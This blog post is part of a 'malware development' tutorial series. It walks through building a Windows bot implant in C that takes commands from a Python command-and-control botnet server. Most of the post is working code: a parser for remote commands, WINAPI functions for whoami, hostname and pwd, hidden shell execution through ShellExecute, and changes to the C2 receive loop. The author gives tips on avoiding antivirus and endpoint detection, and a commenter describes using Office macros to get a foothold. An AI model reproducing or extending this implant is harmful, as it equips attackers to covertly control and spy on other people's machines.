Malware development – Welcome to the Dark Side: Part 4

Welcome to the part 4 of malware development .In the previous parts 1, 2-1, 2-2 and 3, we created a binary which can listen to the commands from our botnet server. We also wrote the C2 server in python3 which can handle multiple connections via multithreading and send commands to all of them.

In this part, we will focus on writing the skeleton for our binary which can parse basic commands like whoami, pwd, get hostname, execute other binaries/cmd commands/powershell commands and so on. Remember, that over time you may have to tweak the code so that it stays undetected from the AVs. You can find all the uploaded code in my repo here.

So, let’s review first what all things we have ready in our bot code:

  1. TCP connection to our Botnet
  2. Parse incoming commands

Next thing we are going to do is to execute a function based on the command and send back response to the C2 Server. Let’s start with writing the most basic function: – whoami

As soon as we receive a command from the server, we need to create a buffer and send it to the whoami function which will execute WINAPI and return the value in the previously created buffer. We can then send this to out C2 Server that we created. Below is the code to create the buffer and send the buffer to the function:

if ((strcmp(CommandReceived, "whoami\n") == 0)) {
    char buffer[257] = "";
    whoami(buffer,257);
    strcat(buffer, "\n");
    send(tcpsock, buffer, strlen(buffer)+1, 0);
    memset(buffer, 0, sizeof(buffer));
    memset(CommandReceived, 0, sizeof(CommandReceived));
}

The whole code will go in the whoami’s if-else block. So let’s try to understand the code here. If the command sent by the C2 server is whoami, I proceed to create a buffer with 257 characters. The reason why we use a buffer with 257 bytes is because the Windows usernames can be a length of a maximum of globally defined variable known as UNLEN. The length of UNLEN char is 256 bytes, and the addition of one character is for the newline. Once the whoami function returns a reply in the buffer, we add a newline using strcat to the buffer and send the value to C2 server in the same tcpsocket that we created previously. Final step is to reset the value of both the buffers; CommandReceived and buffer so that we don’t add up garbage values in them for our next incoming command.

Once the above received command is sent to the whoami function, the whoami will run WINAPI functions to get the desired value:

void whoami(char* returnval, int returnsize)
{
    DWORD bufferlen = 257;
    GetUserName(returnval, &returnsize);
}

The whoami code is as simple as this. The whoami void function goes above our void RevShell function. This function takes two arguments, namely the buffer and its size. We specify the buffer using its address location in memory. We then run the GetUserName WINAPI to get current username and store it in the address of the returnval which in our case is the same as that of the buffer char that we created previously. Remember, that our function is void and doesn’t return anything because it is directly storing the value in the address and not a new returnval variable. Also, the GetUserName WINAPI doesn’t support using an int and thus we have to use the DWORD length which is windows’s own datatype and then convert it automatically to int.

Once the binary has been modified, we need to make a slight change in our C2 Botnet Server code to receive the data as well. This can be done by adding just 2 lines of python code to receive and decode the received reply under the send command function in the BotHandler Class:

class BotHandler(threading.Thread):
    . . .
    def run(self):
        . . .
        while True:
            . . .
            try:
                RecvBotCmd += "\n"
                self.client.send(RecvBotCmd.encode('utf-8'))
                recvVal = (self.client.recv(1024)).decode('utf-8') #cpde added
                print(recvVal)  #code added
        . . .

Once this is done, we will remove the <iostream> debug header along with the standard stdout which we were doing previously for debugging. After removing and compiling this, you should see that the size of binary goes from the 920 kb (compiled with iostream debug enabled) to as low as 22 kb. If you still want to see the what is getting parsed and what not, you can continue keeping the debug header until the whole code is generated. Once compiled and run you should see something like this:

In my case, maldev is the username. Similarly, we can also write a few other functions like get current directory and hostname and so on:

Code Snippet for hostname:

void hostname(char* returnval, int returnsize)
{
    DWORD bufferlen = 257;
    GetComputerName(returnval, &bufferlen);
}

Code Snippet for pwd [print working directory]:

void pwd(char* returnval, int returnsize) //Module 2
{
    TCHAR tempvar[MAX_PATH];
    GetCurrentDirectory(MAX_PATH, tempvar);
    strcat(returnval, tempvar);
}

Here, MAX_PATH is another globally defined length of 260 bytes in windows.

Once, the above snippets are added to the Bot code, we also need to modify the if-else block if the the command received is invalid. For this, we can just create a buffer of 20 bytes and assign the value of “Invalid Command\n” and send it over the network. Similarly, we also need to exit the sockets gracefully incase an exit command is received. So, here is the code for the same:

else if ((strcmp(CommandReceived, "exit\n") == 0)) {
closesocket(tcpsock);
WSACleanup();
exit(0);
}
else {
char buffer[20] = "Invalid Command\n";
send(tcpsock, buffer, strlen(buffer)+1, 0);
memset(buffer, 0, sizeof(buffer));
memset(CommandReceived, 0, sizeof(CommandReceived));
}

Now, if we go and run the binary, here is how it would look:

Similarly, we can also go ahead and write a function to execute shell commands in the following manner. But remember, that executing shell i.e. CMD commands can be easily detected via endpoint monitoring tools like sysmon and crowdstrike. But in case it there is a need to run cmd or powershell commands, below is how it needs to be done:

void exec(char* returnval, int returnsize, char *fileexec)
{
    if (32 >= (int)(ShellExecute(NULL,"open", fileexec, NULL, NULL, SW_HIDE))) //Get return value in int
    {
        strcat(returnval, "[x] Error executing command..\n");
    }
    else
    {
        strcat(returnval, "\n");
    }
}

In the above code snippet, the function exec takes three arguments, he first one is an empty char, the second is the length of the char and the third is the char variable that contains the commands that need to be execute within the cmd shell. There are two downsides to using the ShellExecute API. The primary as I explained previously regarding the detection, and the secondary is that it just returns a value as to whether the command was executed or not, it doesn’t actually return an output of the command.

If you want to get the standard output, you can either store the output in a file, read it in a buffer and send it back to the C2 Server; or you can use the CreateProcess WINAPI to redirect the output to a handle and print it out on the screen. Another way by using the C++ method is using popen() to execute a system command as well, but its library will take up a good amount of space and will increase the binary size.

There are many other WINAPI code snippets like change directory, show logical drives, create file, copy file/folder, delete files, create directory and so on that I haven’t shown here since it would increase the length of the blogpost. However, they are much easier to write and the code snippets can be found at MSDN’s archive itself :-

https://msdn.microsoft.com/en-us/library/ms725495(v=vs.85).aspx

Once the above code snippet has been added, we would need to tweak the command parser as well because we are sending in two separate strings, for eg:- exec notepad++

char splitval[DEFAULT_BUFLEN] = "";   //temporary variable
for(int i=0; i<(*(&CommandReceived + 1) - CommandReceived); ++i)
{
    if (CommandReceived[i] == *" ")    //CommandReceived[i] is a pointer here and can only be compared with a integer, this *" " is the address to the `space`
    {
        break;
    }
    else
    {
        splitval[i] = CommandReceived[i];  //store the split part 1 in variable splitval
    }
}
if ((strcmp(splitval, "exec") == 0)) {
    char CommandExec[DEFAULT_BUFLEN] = "";
    int j = 0;
    for(int i=5; i<(*(&CommandReceived + 1) - CommandReceived); ++i)
    {
        CommandExec[j] = CommandReceived[i]; //store the secondary variable in the CommandExec variable
        ++j;
    }
    char buffer[257] = "";
    exec(buffer, 257, CommandExec);
    strcat(buffer, "\n");
    send(tcpsock, buffer, strlen(buffer)+1, 0);
    memset(buffer, 0, sizeof(buffer));
    memset(CommandReceived, 0, sizeof(CommandReceived));
}

In the above code, there are a lot of pointer and address arithmetic going on. Let me try to explain this in a simple manner. I primarily created a temporary variable to store the exec command. Then I split the CommandReceived variable which contains the ‘exec something’ at space and stored the second string in the CommandExec variable here. The reason being, we are going to send that to the ShellExecute WinAPI. So if you environment variable has notepad++ in path, it will execute that, else you can try to execute something else as well. Also make a note that in our first for loop, we have i as an integer and since we cannot compare that with a character, we are using the address of the space to compare that if a space exists, split that variable into two, and the first value goes into the variable splitval.

The ShellExecute API can not only execute cmd/powershell commands, but also other files like media files, images, word files remotely, as long as it understands the file extension. And this is how the final execution of the binary would like:

 

I’ve also scanned the malware with Symantec and Kaspersky, and they too don’t seem to detect it either.

Finally, there is only one part remaining that is to collect all the output received from bot and store it in a database to analyse the status of the botnet. In the next blog, we will be using Elasticsearch database to store the collected information via C2 Server and analyse it in Kibana.

  •  
  •  
  •  
  •  
  •  
  •  
  •  

2 Comments

  1. this is an awesome blog!!! Im learning and following along.

    this helps me as I do pentesting. Im now playing with macros in word, excel. some times in engagements the workstations are secure and you need another way to get the user to click something to get a foothold on their machine

Comments are closed.